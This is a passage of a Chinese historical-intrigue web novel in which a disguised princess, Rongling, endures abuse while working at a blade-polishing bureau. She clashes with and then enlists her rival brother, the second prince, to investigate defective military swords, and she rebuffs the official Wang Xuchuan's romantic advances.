谁知再过一日，天又变了个儿。朔风一阵紧过一阵，将一切水渍冻作冰凌，就连竿头的湿衣也变得硬如纸甲。
正在最为刺骨的一日，荣龄自酸浆池中收回几无知觉的双手。她想哈气取暖，可口中热气太过稀薄，她连吐几口，还是没回暖一分。
这时，秀儿唤她：“惊蛰，快来烤火。”
酸浆没法加热，金水局众人只能凿开上头的一层冰，在冰水中磨洗兵刃。这活计自做不了许久，往往一炷香过，众人便轮班至檐下的火塘捂回几分热气。如不这样，整段手怕要冻成冰柱子，一敲碎一地。
荣龄在军营多年，早已心志坚定。可南漳常年无雪，这天寒地冻里还要泡冰水的苦头她也是头一遭吃。
荣龄望着肿胀、紫红的双手，忍不住想念自个香软的铺盖。
暖意一阵阵扑来，火塘边的荣龄不住打起哆嗦。
另一旁的春芳自罐中挖出一勺蛇油，又拉过她的手，狠狠地揉按。
荣龄的手早泡出一堆冻疮，叫这一揉，暖意伴着疼痒密密地自双手攀上小臂，直蔓延到心里。
“哎呀，好疼！”她想挣出手，却被春芳更用力地按住，“春芳姐，痒！好痒！”
秀儿看着扭如泥鳅一般的荣龄，打趣道：“惊蛰妹子别怪春芳狠心，不把冻疮揉开，开春便要烂了手。一手的破口浸到酸浆里，啧——”她似想起恐怖的回忆，身子无端一抖，“可真要了命咯！”
又有人在火灰中埋了地蛋与番薯仔。待烤得差不多，一位大姐拿火钳扒出，又扔给给围坐的众人。
荣龄分到一只番薯仔。滚烫的皮肉一径落到手心，她双手互颠，好一会才敢拿稳。
可才啃下第一口，金水局中忽地闯入一队军蛮子。
他们呼呼喝喝，飒踏奔来。手中长刀撞在柱上、墙上，发出骇人声响。
金水局中多是女人。
骤见此景，人人吓得高声尖叫。有的扔了手中的地蛋，快步跑入屋中躲藏。有人慌得绊了门槛，跌在夹冰的酸浆池中。更有人软了身子，只在火塘边蹬脚挣扎，却始终站不起。
荣龄掺一把春芳，扶她站到门页之后。
她又聚起眼神，谨慎打量闯入内里的兵伍——
青色程子衣，外罩银色薄甲，薄甲护心处錾刻麒麟瑞兽，是大都的四方四卫。
这时，一个千户打扮的兵将迈入檐下。他一刀劈开火塘，再一踹里头未燃尽的柴火，直叫亮红的火星扑上砖墙。
“二殿下已至镔铁局，尔等谨言慎行，莫有无状之举。”他再看一眼瑟瑟躲在门后的女人们，神情轻蔑。
他手下的兵丁有样学样，一人一脚踹尽火塘。
至于散落满地的火灰——“你！将此处清扫干净，若脏了二殿下的眼，小心爷劈了你！”千户瞥一眼站在最前头的荣龄，颐指气使道。
荣龄眼中寒星一闪，面上却恭敬应下。
没了火塘取暖，一群人很快如堕冰窟，冷得发抖。更不论方才有人跌入酸浆池中，叫夹冰的酸水一泡，早伤了元气。
看着浑身青紫，气息减弱的同伴，春芳急得直掐手。可门外甲兵神情冷肃，又长刀出鞘，她怕得很。
再过一会，“阿夏昏了。阿夏，阿夏你醒醒！”搂着阿夏的秀儿急声唤道。众人围得更紧，却仍无法渡给阿夏半分热气。
“不行！这样下去阿夏定要没命…”春芳喃喃地说服自己，她再狠狠咬牙，强行提起一股发虚的勇气，高声道，“军爷，求求你们送阿夏去医馆。咱们从后门悄悄地走，绝不会冲撞贵人。”
守在门口的千户回头一瞥，却又冷漠地转回去。
荣龄清扫完火灰正要躬身告退，半分不理春芳苦求的千户突然拽住她的衣襟，“你便是这般做事的？蠢货！”他一撒手，将荣龄掼在地上，“还不拧了帕子，将地上的残迹擦干净！”
荣龄的膝盖磕得生疼，可她既无法拍地而起，揍得肥头大耳的千户亲妈不识，也不能与他争论，烧火留下的黑痕如何能用帕子抹去？
她深吸口气，“哎，我马上拧帕子。”
千户对待阿夏、春芳的轻慢与对荣龄的磋磨刺痛金水局中的每一个人。
曾经，她们出身低微，又早早历经姻缘的坎坷。世人告诫她们，要贤良、忍耐，她们一次次咽下失望，却只换来变本加厉的丈夫的离心、婆母的刁难。
如今，她们千难万苦地入了金水局，在独孤氏的羽翼下喘息。可日子当真好起来了吗？外头说她们“寡妇抱团，龌龊不堪”。眼前的军蛮子也瞧她们不起，二殿下虽来了，可他绝不会来最脏乱的磨洗坊视察，他们凭什么踹了火塘，又逼得一条人命奄奄？
她们的命是不好，可她们也想活着，有尊严、有盼头地活着！
“你们这群草菅人命的畜生！”春芳再忍不住，冲到门口怒骂。她的双手抵上。甲兵的刀柄，不叫他劈下。
见此情景，愈多的人鼓噪着冲到门边，与不可一世的大都四方四卫缠斗一处。
千户又惊又怒。
在他心中，金水局中的寡妇就如
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他又没有逼迫她们做什么，不过是在此地暂候，待二殿下走后他自会松了戒防。可她们这般要死要活，是看不起他这千户的分量？
二殿下就在不远处，若叫他听见此间动静，他的千户还做不做了？
念及此，千户“铮”地抽出长刀，“找死！”他咒骂道。
眼见局势升级，荣龄也急起来。
她没法光明正大地施展武艺，打他们个落花流水。她只能没入人群中，趁乱这边一拳，那处一掌，尽可能格开士兵伤人的招式。
可她到底只有一个人。
四方四卫做惯大爷，实是头次叫人挑衅至此。他们一时也上了头，手中失去分寸。
荣龄愈发独木难支。
混乱中，花格窗外走过一行人影。
荣龄眼尖，瞥见一星寒芒——是人群中的一顶银龙冠！
她眼中一亮。交睫间又形随意动，力灌指尖，以一记“佛手莲心”打出随手抓来的蓝田玉坠。
下一瞬，玉坠撞击刀刃的脆响传来，又有人厉声高喝：“何人惊扰二皇子！”
语罢，金水局这头静得能听针落。
千户惊惧万分。
他拖着长刀，刀柄上的手一时紧一时松。雪虐风饕里，他吓出满额的冷汗。
他心中万分不明，怎的就这样点背，没做好差事不说，还将脸丢到二皇子面前！
千户茫然四顾。
视线扫过瑟缩一处的金水局众人时，他心中生出磅礴的恨来——是她们！定是这群肮脏的寡妇把霉运染给他，她们真恶毒，他可真恨呐！
荣宗阙迈入金水局见的第一幕，便是京南卫中千户打扮一人正挥刀砍向跌坐在地的妇人。
他阴冷的面色一沉，“赫哲！”他道。
身旁一人掷出袖间匕首。匕首铿然击上长刀，将之打落。
目睹一切的荣宗阙却微不可见地皱眉。
他目力极佳，在场许只他一人瞥见——赫哲的匕首撞上长刀前，一枚铜钱已弹起长刀刃部！
小小的镔铁局竟有如此高人！
荣宗阙环视四周，只见院中一览无余，并无供人隐身的场所。是故，出手的高人必在眼前的妇人中。
荣龄冒险掷出铜钱后便缩回人群。
她知道，凭借荣宗阙野狗一般的眼神，他定不会漏过这枚铜钱。□□龄尚有许多隐秘要查，她才不想在此刻叫死对头认出。
于是，她将头埋得更低。
赫哲代表荣宗阙上前审问。
春芳叫人扯得发蓬钗落，可她顾不上其他，手脚并用地爬到独孤氏跟前。
她如受了欺负的孩童终于等到外出归来的大人，一面忍不住抽噎，一面诉说方才的惊险。
独孤氏听罢，指节白了一瞬。她沉默一息，却又对赫哲道：“佥事，下官管教不当，叫下头的人冲撞了京南卫，还望佥事看在她们乡野…”
话未说完，赫哲抬手止住她，“事情究竟如何，我自会查明。独孤大人还是先将人送去医馆，”他瞥一眼几无进气的阿夏，淡淡道，“晚了恐又有人嚼舌京南卫。”
独孤氏恭敬应下。
众人七手八脚地将阿夏抬出金水局。
荣龄混在其中，一脚深一脚浅地随人群鱼贯而出。
就在迈出院门的一刻，她忽地察觉一道锐利如海东青的眼神盯入后心。她不敢回头，亦不敢显出丝毫戒备，只如履薄冰又硬做寻常地往前行走。
少息，那道眼神终于放过她，挪到旁人身上。
荣龄暗舒一口气，加快脚步离开。
15. 果然是你
大夫将阿夏留在医馆，让金水局众人三日后来接。
荣龄她们再三致谢，自医馆回来。
回程的路上，荣龄袖着手一径在想事情。
当年，因出言不逊，荣宗阙叫建文帝送去一年中有半年覆雪的苏木里当大头兵。为防苏木里守将优待荣宗阙，他还特意去旨，称守将哪怕偏私一星，二殿下就在苏木里多待五年。
于是，眼高于顶的荣宗阙真在冰天雪地里当足五年的大头兵。
三年前，荣龄回京受赏，恰遇上自苏木里归来的荣宗阙。都说仇人见面分外眼红，若非建文帝镇着，二人恨不能在太和殿斗上五百回合，用上一切刀枪剑戟，生死不论。
方才匆匆一瞥，荣龄只觉苏木里极致的寒意渗入荣宗阙的肌血，叫他如经年不化的冰凌，整个人阴冷得厉害。
这样的荣宗阙为何来保州？他是否知晓独孤氏与文氏的合谋？更要紧的——他与花间司可有勾结？
“惊蛰，想什么呢？”春芳一推荣龄的胳膊肘，“方才的军蛮子摔断了我的紫玉钗，可心疼死我了。咱们去买支木钗撑几天。”
荣龄应下。
一行人便拐了个弯，去阳水街买头钗。
首饰店中摆放不同材质、各式形制的头钗，更有绢花、插梳、步摇、掩鬓、络索无数。
几人流连店中，叫这些精致、华贵的物件引得移不开眼。
春芳本只想买一支最便宜的桃木钗，可当她看到一朵牡丹样式的金陵绒花时，她走不开了。
待她鼓足勇气，想要取下试戴一番时，一旁的掌柜突然一拦，“这位夫人，绒花娇气，脱脱戴戴的恐损了形状。”他垂着眼，不经心地一指角落，“木钗子都在那头哩。”
闻言，春芳一瞬间涨红了脸。“你…你什么意思！”
另几人听清龃龉，也纷纷帮腔，“就是，为什么不能试戴？”
掌柜的瞥一眼几人身上乱糟糟的公服，八风不动道：“若买了，自能戴上一整天、一月、一年，你想怎样便怎样！”
眼见春芳的脸色红了又白，白了又红，她深吸一口气，忽道：“我便买了，你给我！”
荣龄以为，春芳是落了套。
她付大价钱争一口气，可她当真能获得掌柜的真心尊重？只怕她们一出门，这人便要冷嗤道：“经不得激的蠢女人！”
于是，她拉过春芳的袖子，“春芳姐，莫与他计较，咱们换个铺子。”
可今日的春芳遭受太多不公，她心中的愤怒满得要溢出来，她不想再忍。
只见春芳扬起头，又快速一抹双眼，“我买得起，”她转过身，“姐妹们，谁想戴？咱们就在这儿试，一个一个地试，想怎样便怎样试。”
同行的人本安静极了。
倏地，一位而立有余的大姐走出来，她双手接过朱红的绒花，“我嫁人时都没簪过这样红、这样大的花，”她将之别到枯黄的发中，“托春芳的福了！”
其余人受了鼓舞，也都挺起胸膛来。
她们对镜揽出简单的发髻，将绒花或饰在顶心，或挽于鬓边，或插于脑后。
她们兴致愈高，你赞我，我夸你，全不理会掌柜的黑沉又尴尬的面色。
荣龄见惯生死，自认是心硬之人。
可当她被大姐大嫂们按着，插上这朵粗糙到绝不会出现在她的首饰盒中的绒花时，她与她们相视而笑，笑着笑着，鼻头又发酸。
麻绳总挑细处断。待独孤氏一案水落石出，她会不会也是增添她们苦厄的帮凶？
在店中待满半个时辰，一行人才意犹未尽地出门。
门前正是阳水街，往西走过一程便是惠安楼。
一辆低调的单驾马车停在楼前，正有老仆扶一位茶色缂丝袍的老爷落车。
荣龄本没在意。
然而，擦身而过时，那位老爷的声音忽然入耳，“不忙，咱们先去方家码头。”
她仔细一听，是文平昌——那位不高不低、不胖不瘦，面容也是不美不丑，最叫人记不住，却有头等的“运道”，中镔铁局三成单子的文家老爷。
他是尚未离开保州，还是如王序川一般，接了指令离开，如今又折还？
“哎呀！我倒忙忘了，婶子前几日捎信来，叫我家去一趟，”荣龄双手用力一合，似刚想起这事，“不若你们先回，我今日便歇在婶子家了。”
春芳她们不曾生疑，只叮嘱荣龄路上当心，与她分了道。
荣龄又紧走一段，缀在文氏马车之后，行至大清河下游的方家码头。
离码头不远的船坞中，一艘雄伟的福船并五艘广船静卧于水闸围出的水域。
她眺望福船高耸的桅帆，忆起投筹会中，方家家主对文氏的评价——文氏海运一绝，若从海上运来身毒国的镔铁矿石，怕能便宜不少…
她恍然。
文氏能从海上运来镔铁矿石，为何不能反之将镔铁刀运出？
荣龄的眼前似绘出一道蜿蜒的曲线。
自大清河东行百里入运河，运河北上十数里便是塘沽海口，出海南下，过岭南诸道，至…
前元不临海，可离它不远的瓦底却有漫长的海线。
是了，至瓦底！
晚暮中，客船收帆归来，鱼涌走下归乡的旅人。
荣龄忽地想起，半月将满，有些人也该回来了。
她转过身，不自觉紧了步子，往上阳坊行去。
日头落入城西的矮山之后，青灰的空中又飘起雪。
王序川顶着一头白细的雪子，自马车弯腰而出。因小院后门距城西更近，马车便停在后门外的巷道中。
“王大人，如今的独孤氏可是冷淡许多，半分不像一月前想生吞了你的模样。”阿卯摆好车凳，伸手扶王序川。
他可清楚地记得，此前与独孤氏会面，那位半老徐娘总要凑到王序川身旁，与他衣衫摩挲，肌肤相近。
可怜被迫消受美人恩的王检祥，人前强作淡定，与她推杯换盏、目送春意，人后却一回院子便甩了沾上大莫闪香膏的外袍，并头头尾尾地给自己洗干净。
他顶着富商的名头，穿的衣裳自然是好料子、好做工，阿卯瞧着只穿一道便丢了的袍子可惜，偶尔便捡回来自个穿——这也导致荣龄初见二人时的混淆。
方才，他们顶着风雪，为镔铁局送去亟需的杂矿，独孤氏却影儿都没露一个，更别提叫人倒盏香浓的参茶，说几句暖人心的好话。
阿卯不住地感叹，女人的心呐，总是靠不住。
闻言，王序川冷冷瞥他一眼，又推开他相扶的胳膊，自个拎了衣摆落车。
阿卯仍在缺心眼，“大人，这是不是你们读书人常说的‘狡兔死，走狗烹’‘过河拆桥’‘得鱼忘筌’？”
王序川仍不理他。
可就在他步上台阶，将要拉开门环时，与巷道垂直的石板路行过一队披甲士兵。
王序川停住，往那头凝神看去。
待他看清士兵身上的衣着，他的心神一提…是京南卫。他们前往的方向正是…与他所立之处一墙之隔的长春道小观。
王序川一把拉过还想胡扯的阿卯，“有正事，快闭嘴！”
巷道中立时静下来。
唯余一抹轻风伴随两道身影略过院墙——是趁京南卫还未布防到位，王序川叫阿卯拎着翻墙入观。
二人掩在昏暗的夜色与雪色下，潜入三清殿前的冬青木丛中。
刚藏好身形，观中老道丘沅带着刚留头的小徒弟迎出门外，“贫道见过二殿下，”他只作揖，一旁的小徒弟却是跪伏，丘沅问候道，“苏木里一别已经年，二殿下惯来可好？”
一向傲慢的荣宗阙竟不怪罪这人行礼轻疏，他颔首答道：“我一向是好的。”他扶起丘沅，“我今日刚至保州，方知丘道长在此立观。闲来无事，便想与故人一逢。”
丘沅矍铄一笑，
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“老道本云游四方。去岁白龙子致信，说是保州信徒往来大都斋醮总有几日车程，甚为不便。我一年到头没个正事，不若至此地立小观，便（bian）宜他们。”
再说过几句，二人步入西侧客堂叙旧。
雪越来越大。
王序川伏在茂密的冬青丛中，冷得手脚几无知觉。
可他不敢动分毫，他是东宫的人，若与观中的京南卫公然卯上，外头恐要议论得翻天。
不过这一遭冻总算不白挨。
至少他肯定了二皇子确与长春道往来。
一炷香后，荣宗阙一行离去，观中重归寂静。
王序川又等了一会，这才叫阿卯拎着，悄然回到巷道之中。
他咬着牙直发抖，阿卯则着急忙慌地推开后门，“大人快进屋，我这就生炉子、灌汤婆子，准保你一会就不冷了。”
他跟着阿卯闷头行至前院。可还未等烤上暖炉、拥紧汤婆子，一道亮光如浓云撞出的闪电，径直劈开弥漫雪雾，往他直插而来。
王序川半分武功不会，只瞧着那道亮光在眼中愈发亮、愈发清晰。
待亮光劈至面前，他才反应过来——不好，是刀！是极快的刀！
下一瞬，他被一股极大的力推开。
待他滚落雪地，两刀横抗相击的鸣响如洪钟大作，振贯肺腑。
乌兹钢刀势猛而沉，一击后，阿卯硬扛着后退三步站定，那刀则打着旋飞回来处，叫主人稳稳握在手心。
“是你。”一击不中，荣宗阙未立时再击，他停刀在侧，冷冷道。
王序川狼狈地自雪地爬起，他拍了拍身上的雪，讪笑道：“二殿下可吓死下官了。您若有吩咐可直与下官言说，哪值当动刀？下官区区一书生…”
话未说完，荣宗阙打断他，“少废话！太子派你来保州所为何事？”
“并非东宫的指令，”王序川睁眼说瞎话，“实是刑部有重案，下官才来保州…”
这话又未说完。
荣宗阙不耐烦，他忽地蹬地，以极快身法掠来。
待他左手扣上王序川的喉，院中雪地未落下任何脚印。
应对不及的阿卯只能空道：“二殿下手下留情，大人当真不会功夫！”
荣宗阙不理他。
“你们不会以为伏在冬青丛中我便发现不了？”他慢慢收紧左手，“你的气息杂乱，我一听便知。”
王序川渐渐续不上气，他的面色涨作紫红，额上青筋毕露。
阿卯怕这一贯跋扈的二皇子真混不吝杀了王序川，且不说他本就身负护卫之责，便只论私交，他也决不能看着智计百出又清明守正的王检祥平白殒命。
他咬牙挥刀，不顾尊卑有别，直往荣宗阙砍去。
又一道刀光闪过，赫哲格开阿卯，与他缠斗一处，不叫他侵扰荣宗阙。
“都说你颇有乃父之风，”荣宗阙轻蔑一笑，“我倒要看看，你在我手中还有几两风骨？”他似往院外一瞧，手中却掐得愈发紧，半分没有松开的迹象。
因极度窒息，王序川的视线已开始模糊。
可他仍不能说。
他若在这么多人面前说出实情，荣宗阙反手便能给东宫安个窥视皇弟、居心叵测的罪名。他如今只是暗访，尚未掌握镔铁局锻制疵货并供给锦州军的铁证。
因而他只能赌，赌荣宗阙再目中无人，也不敢、不能轻易杀了他这东宫署僚，率先将与荣宗柟的暗斗挑明。
王序川在赌，荣宗阙也在赌。
可他赌的并非眼前之人，而是——
院中忽地响起一道破空啸响。众人仓皇张望，却全然不见何物飞来。
直到荣宗阙松开王序川，旋身将那物劈落，众人才看清落在雪地的两瓣铜钱。
竟只是一枚铜钱？何人有此手法？
“佛手莲心…”荣宗阙看向铜钱飞来之处，冷声道，“阿木尔，果真是你。”
16. 他有什么好？
一道绛色身影踏月踏雪翩然而来。
众人仰头望她，只觉她如三月里柔韧摆动的柳枝，又似神山巅随风飘扬的披帛，身法清极灵极。
可待她扶过王序川，叫众人看清那张平凡到有些丑陋的面容后，他们沉默地收起赞叹，在心中叹息扼腕——
真是上好的银枪配了镴枪头，可惜，可恨！
又因荣宗阙唤的小名，他们也未将眼前这人与声名卓绝的南漳郡主联系。
只有荣宗阙看了又看，“你这是什么装扮？”他觉得伤眼，“为何这般难看！”
“你才难看！”荣龄可不忍他，说一顶二地回道，“你里里外外，心肝脾肺没一处不难看！”
这话一出，阿卯眼露钦佩，院内外其余人则侧目，唯余同样知晓荣龄身份的王序川抬了抬眉，嘴角似有笑意。
“你呢？”荣龄转头看王序川，那截白净的脖颈上除一道已变浅的刀伤，又布上红紫的掐痕，惹眼得很，“可有事？”她问道。
王序川摇头。
这时，荣宗阙一抬手。赫哲收刀行礼，领京南卫退出小院。
荣龄冲阿卯使眼神，阿卯却迷茫又不失敬服地回望她，“惊蛰娘子，需要阿卯做什么？”
她干瞪了会眼，心道太子哥哥从何处翻找来的憨人？
还是王序川开口解围，“无事，你先留在此处。”又对荣龄道，“进屋再说，雪大了。”
方入正房，荣龄正拍着身上的积雪，一旁递来张未绣花样的帕子。
“郡主先掸掸头上的雪，”是王序川，“若湿了发，恐要害头风。”
荣龄接过帕子胡乱一扫，没多会便将之递回。
身旁那人像叹了口气，他拿回帕子，走近一步。
怔愣中，荣龄只觉帕子再次轻柔拂过头顶。
一时间，她动不得，开口不得，更拒绝不得，她只盯着那人湖色的衣襟，似洇入江南三月的烟雨。
“可需我先离开，待你二人缠绵一番再回？”荣宗阙如一尊阴冷的青铜法器，抱着手静立在“载阳凝瑞”的匾额下，他讽刺道，“我原还纳闷，你方于五莲峰大败，竟有心思来保州掺和。”
他再瞥一眼王序川，“如今我算知道了。只是没想到，你也是这般儿女情长…”他嗤笑道。
荣龄只以为他将自己看作独孤氏一般耽于男色之人。
于是，她心中既有反骨作祟，又有被说中自个都理不清的心思的烦躁，她嘴上半分不让，“心思丑陋之人自然看谁都龌龊。”
“你没完了是吧！”荣宗阙也无甚风度，怒道。
见这对兄妹如斗鸡般争起来，王序川忙扯住一捋衣袖想要动手的荣龄，他又问荣宗阙，“敢问殿下为何来的保州？”
荣宗阙冷冷反问，“你凭何身份，竟先问起我来了？”
王序川手中一空，是荣龄挣开他，“就凭锦州军收到的镔铁刀都是疵货！”
“此事我自然会查！”荣宗阙往前一步，气势逼人，“东宫再为江南水军定下的镔铁刀，我也亲来保州押送，再不会有问题。”盛怒之下，他透露自个来到保州的目的。
“倒是你们，一者中枢、一者边军，事发后半分不问我，只一味私心勾结、越轨来查，”他厉声问，“究竟是何居心！”
听至此，荣龄视线一抬，与王序川的目光撞在一处。
二人眼中有惊讶，有恍然，亦有此刻飞速翻过的思虑——锦州军之案，荣宗阙当真不知情？
“那二殿下可知，五莲峰之战有隐情？”王序川试探问道。
“有何隐情？”荣宗阙伸手一指荣龄，“不过是她技不如人。”
荣龄“呸”道：“你在阵前不过当过五年大头兵，毛子都没遇上几个，今日竟敢妄议我用兵？我的玉苍刀斩落万颗人头时，你还在苏木里堆雪人！”
眼见二人又要吵起来，王序川索性拉过荣龄，挡在二人之间。
“二殿下，五莲峰凭空出现一批镔铁刀，”他一瞬不瞬盯着荣宗阙，不漏过他面上任何一丝神情，“此事，二殿下可知悉？”
荣宗阙一愣，眼中有不似作伪的惊诧，这份惊诧结成浓厚的疑云压在他紧蹙的眉间。再过几息，他想得再深一些，眼中又杂入怒火。
“你们怀疑我？”他问道。
荣龄再三看他，“你当真不知？”
荣宗阙却连刀带鞘劈在匾额下方的太师椅，酸枝木做的椅子瞬时碎落一地。
“你羞辱我。”他咬牙道。
他狠狠盯了二人一眼，忽地转身向外行去。
王序川自知拦不下荣宗阙，于是向荣龄道：“郡主…”
与之同时，荣龄掷出案上的雨后天青盏，飞身上前阻他。
荣宗阙避过茶盏，与她拆过几招，“你们到底何意？疑心的是你们，拦着不让我走的也是你们！”他既恼且恨，“我这便去找独孤氏问个清楚，究竟是何等魑魅魍魉叫她做下作事？”
荣龄架住他的劈掌，“你也知道独孤氏对你有二心！既如此，你问，独孤氏便会答？”
“我自会狠狠拷问于她！”荣宗阙道。
“她若是死士呢？”荣龄反问，“贪墨军饷是死罪，叫你拷打也是死，横竖都是死，她为何要说出实情，卖了同党？”
即便在气头上，荣龄也万分谨慎说辞，未暴露花间司的踪迹——在镔铁刀一案中，荣宗阙或不知情，可他身后的赵氏当真一样无辜？
她不大信。
荣宗阙叫她诘问住。
“可…”他本能地想反驳，“便这样冷眼旁观？”
荣龄松开他，甩手嘀咕：“一身蛮力！”见他双目圆瞪又要发火，她难得住嘴答道，“自然不会旁观，我与王大人已查得七七八八…”
见王序川又看过来，荣龄才想起尚未与他一通半月查出的消息，她便插空先与王序川道：“待会与你说。”
再转回来对着荣宗阙，“如今万事俱备，只欠你这股东风，二殿下你吹还是不吹？”
“吹如何？不吹又如何？”荣宗阙仍嘴硬。
“前者自然最好，若是后者…”荣龄一停，忽地抬高音量，“信不信我今晚便写信回大都，告诉二嫂嫂你曾心仪礼部尚书家的沈小姐，不仅夜夜蹲人家墙头，还酸唧唧地学诗三百，在她窗前放最新鲜的芍药花——那会奇珍园的芍药可叫你毁了大半！”
二人闹得正欢，自然未听见近在咫尺、如絮语般的喃喃——“一个两个的，都爱蹲人的墙头。”
荣宗阙叫荣龄堵得说不出话。
“你！你！”
他本就面沉如水，这会更是黑中夹着红，红里间了白，色彩纷繁，复杂极了。
半晌，他终于自牙缝中挤出一句：“荣龄你卑鄙！”
荣龄才不管，只问：“你帮不帮？”
荣宗阙恨恨一瞪她，再挣扎几番，才放弃似的侧过耳，一副沉默待宰的模样。
荣龄唇角一翘，凑到他耳边细细交代。
这样那样说了半晌，她才落下脚跟，“记住没？”
荣宗阙直起身子，只一“哼”。
他离去时在门口再三踟躇，威胁道：“不许告诉你二嫂嫂！”
荣龄也一“哼”，不答。
“行了，届时我会按你说的行事。”他终于服软。
于是，荣龄伸出右手，一副与他隔空击掌盟誓的模样。
荣宗阙嗤笑，终于开门离去。
荣龄办成大事，心情正好。她双手一背转向王序川，笑道：“对了王大人，我与你说春芳与文平昌之事…”
可王序川似未听见，他伸长胳膊，从两侧绕向她身后。
伴随他的动作，湖色的衣襟贴近，离荣龄的鼻子尖仅一寸，仿佛她略喘息，那层斜纹的绫布便要擦到面上。随后，她的双手一暖，叫两道轻柔的力拉到身前。
荣龄没有抬头。
“手怎么了？”王序川捧着她肿得像水萝卜的手，沉声问道，“可是天寒水冷，长疮了？”
她不答。
那双筋骨分明，执笔能惊风雨的手抚过几道伤口，带来些微的刺痛与麻痒。
“你等我。”他突然松手，转身去了隔扇之后。
荣龄静滞站着。
许久，她摊开双掌，仿佛左手掌心浮现出一双满载江南水意的眼，右手却是一截白净的、叫匕首划出伤口的脖颈。
她毫无逻辑又漫无目的地翻过页页思绪，终在冬月祁寒里又归于长久的静默。
王
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序川迈过隔扇归来。
他拿了一只白瓷罐，“这是獾油，掺了老姜的姜汁，比一般的蛇油好用许多。”
他拉过荣龄的手，要为她涂抹。
谁知荣龄一挣。
她脱开双手，终于抬眼看王序川。
那一眼，清明、疏冷、生分，全不如这段时日中，二人有些过界的交际。
“王大人，我已婚配，”荣龄平静道，“你我这样怕是不妥。”
屋中仅燃一豆油灯，光线昏得厉害。
王序川背着光，神情隐一半在黑暗中。可即便是仅余的一半，荣龄也认得出其间突生的苍冷。
她在心中叹息。
“张大人吗？”他问道，“郡主如此在意他？”
荣龄沉默一息，“你既然知道…”
可话未说完，王序川打断她，“郡主与他见了几面，当真了解他？他是怎样的人，他会做怎样的事，郡主可曾想过？”
荣龄叫他诘问住，可下一瞬——“这是我与张大人的事，”她冷下声音，“与你又何干？”
王序川却未叫她问住，他往前探一步，荣龄只好撤一步。
“与我自然相干。”他道，“你记挂的不过是自个臆想出的张廷瑜，是天上月、水中影，叫人一戳就散了、破了。”
他再向前，荣龄再退。
“可你为了这道虚影，看不见眼前活生生的人。你说这与我相干不相干？”他强硬地拉过荣龄的手，贴在左胸，“所以郡主，他有什么好？”
荣龄已贴上东侧间的隔扇，退无可退。
她以为，王序川一介书生，即便对她生了心意，也会如戏本中的白面小生，有些阻碍便连连后退。
可眼前这人怎的了？咄咄逼人，步步紧逼。
自然，她不是挣不脱，也不是不能狠揍他一顿，叫他吃苦头、长记性。
只是，只是…
“王序川，你疯了！”荣龄拧着手，用力推他，“你凭何说张大人，你又凭何这样说我？”
“就凭今日即便张廷瑜站在你面前，你也认不出他！”昏暗中，一贯清贵如寒玉的王序川如伏在雪地的豹，双眼灼灼、锐亮，“可你认得出我，你也在意我。”
荣龄叫他说中。
方才，荣宗阙以王序川逼她现身，她本可以置之不理——荣宗阙虽不算聪明，却绝不会在大事上犯糊涂、贸然杀了王序川…
可她还是现身了。
不论因赏识、因默契，或因他身上难解的浑似故人的气息…她终究现身。
但…
她可以说服自己救王序川，却不能因救他而折辱张大人，她亦有比儿女情长更要紧的事去做。
终于，静过几息，荣龄理好心中纷乱的思绪。
她掌下发力，将王序川推开，“王大人，不知我做了什么，叫你生出这等错觉。”
王序川一愣，荣龄避开他的眼神。
“在我心中，你、阿卯，甚至冯宝，俱是一样的。你我同来保州，只为查明镔铁刀一案，揪出军中蠹虫。我与你是同仁，也算并肩的战友，但这便是所有。”
“至于我与张大人…”她一停，看向窗外朦胧的雪影，“不是你能置喙，你也不许再妄议。”
语罢，王序川没有回答，荣龄也未再说。
二人陷入冰冷的沉默。
再过一会，荣龄推开门，打算离去。
这时，王序川喊住她。
他似叹息，又如妥协，“郡主，”他走过来，将瓷罐递给荣龄，“你记得抹。”
荣龄转头看他，最终接下。
“王大人，多谢你。”她停了停，再道，“总之，多谢你。”
待院中重归寂寂，阿卯获准回房，“大人为何不关门，”他袖着手，只用手肘将门页推好，“这又是风又是雪的，你小心冻坏了。”
他再走近一些，只见“载阳凝瑞”的匾额下，两把太师椅一把碎成木片，另一把呆坐着王序川。
阿卯一惊，忙快走几步，“大人，这是怎么了？二殿下为难你了？”
王序川没有回他。
只见他手中握有塑作一丛恨天高模样的笔架山，他摩挲着，自语道：“我真是疯了，与她计较这些。”
17. 春香
是夜万山载雪，明月薄之。
白棉一般的夜雪映下比往日黯了三分的月色，又将之投入上阳坊的一处支摘窗。那一页亮光在暗室之中浮浮沉沉、吵吵嚷嚷，正如荣龄心中翻涌的心绪。
“张大人吗？郡主如此在意他？”
“你记挂的不过是自个臆想出的张廷瑜，是天上月、水中影…”
“可你为了这道虚影，看不见眼前活生生的人。”
“所以郡主，他有什么好？”
……
一句句诘问如细小的冰凌扎在肺腑，虽不致命，却带来些微的凉与疼，叫人翻覆难眠。
荣龄将眼阖了又睁，自卧榻的这头睡到那一头…
最终，她掀被而起。
“不是，他有病吧？”荣龄挠开一头乱发，忿忿道。
将几上温着的水一饮而尽，她仍难灭心火。
“我记挂谁，我念着谁，与他有何干系？”荣龄将青花瓷杯狠狠摁在几上，气得鼻息咻咻，“张大人自是百好千好，比他好上万倍！这般争风吃味，他凭何身份？”
可嚷了几记，她不仅未减心中烦忧，反将本就稀薄的瞌睡耗了干净。
荣龄一跺脚，索性不睡了，去了书房忙公务。
看过几道密报，又回完几封不算紧要的书信，她刚想搁下手中硬毫，却忽地想起已过了每月给张大人写家书的日子。
想了想，虽已与他说“近日忙于军务，恐不能及时去信”，但…
总归这会闲着无事。
提笔舔墨，一行宗正的二王行楷落于纸端。
“张大人，月余不曾去信，不知你可好？…”
洋洋百字，荣龄略略写过近日见闻。
可写着写着，待她回神之际，纸上已新添一句“张大人霁月清风，定想不到世上竟有如此厚颜无耻之人”。
她一愣，生生顿笔的影子叫油灯剪落，蒙在白纸黑字上，如一道窥视的阴翳。
荣龄细细地叹一口气。
这信不能用了。
她走到一旁，撑起支摘窗。
虽是夤夜，万物却素裹银装，明光一片。
万籁俱寂中，王序川的诘问再次浮现——“就凭今日即便张廷瑜站在你面前，你也认不出他！”
雪气涌来，伴淡淡腊梅香味。
荣龄嗅入满腹香寒，万般无奈地阖上眼。
不论那时，或是此刻，她皆无法也无力反驳这一句。她心中一遍一遍地想，她与张大人，究竟算怎样的夫妻。她与王序川…又是怎样的…同僚？
夜阑时分，人总会诚恳。
不知过了多久，荣龄回到案前。
她取过一页新纸，写下这半月中发生的事宜与往后的打算。她打算天明就叫万文秀送与王序川，她自己则要避开几日。
可谁知，人算不如天算。
五日后。
天昏得紧，浓云堆叠密闭，好似下一刻又要泻下及膝的雪。
